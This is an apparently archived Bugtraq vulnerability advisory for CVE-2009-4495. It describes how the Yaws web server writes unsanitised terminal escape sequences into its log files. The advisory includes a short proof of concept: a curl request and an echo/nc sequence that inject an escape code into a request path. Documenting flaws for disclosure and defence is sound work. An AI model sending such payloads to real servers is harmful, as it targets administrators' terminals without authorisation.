Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability

Bugtraq ID:	37716
Class:	Input Validation Error
CVE:	CVE-2009-4495
Remote:	Yes
Local:	No
Published:	Jan 11 2010 12:00AM
Updated:	Jan 11 2010 12:00AM
Credit:	Giovanni 'evilaliv3' Pellerano, Alessandro 'jekil' Tanasi, and Francesco 'ascii' Ongaro
Vulnerable:	Yaws Yaws 1.55 Yaws Yaws 1.54 Yaws Yaws 1.52 Yaws Yaws 1.51 Yaws Yaws 1.50 Yaws Yaws 1.85 Yaws Yaws 1.80 Yaws Yaws 1.79
Not Vulnerable:

Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability

Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Yaws 1.85 is vulnerable; other versions may also be affected.

Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability

Attackers can exploit this issue with readily available tools.

The following example is available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Yaws Terminal Escape Sequence in Logs Command Injection Vulnerability

References:

• Yaws Homepage (Yaws)
  
• Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws a (ascii )